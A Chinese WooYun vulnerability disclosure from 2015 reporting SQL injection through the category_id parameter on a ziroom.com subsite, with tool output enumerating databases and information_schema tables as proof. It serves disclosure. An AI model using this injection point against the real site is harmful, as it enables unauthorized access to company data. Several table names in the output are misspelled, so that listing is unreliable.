当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0132518

漏洞标题：链家旗下自如网子站SQL注入

相关厂商：ziroom.com

漏洞作者： 路人甲

提交时间：2015-08-09 00:46

修复时间：2015-08-14 00:48

公开时间：2015-08-14 00:48

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-09： 细节已通知厂商并且等待厂商处理中
2015-08-14： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

链家旗下自如网子站SQL注入

详细说明：

http://sh.ziroom.com/ziroomer/activity/?category_id=11


注入点category_id存在注入

1.png


available databases [3]:
[*] information_schema
[*] nfwziroom_sh
[*] test

漏洞证明：

[40 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| INNODB_BUFFER_POOM_STATS              |
| INNODB_BUFFER_PaGE                    |
| INNODB_BUIFER_PAGE_LRU                |
| INNODB_CMP                            |
| INNODB_CMPMEM                         |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP_RESET                      |
| INNODB_LOCKS                          |
| INNODB_LOCK_WAITS                     |
| INNODB_TRX                            |
| KIY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIIL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARaABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAMNTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+


wooyun.jpg

修复方案：

↑

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-08-14 00:48

厂商回复：

漏洞Rank：2 (WooYun评价)

最新状态：

暂无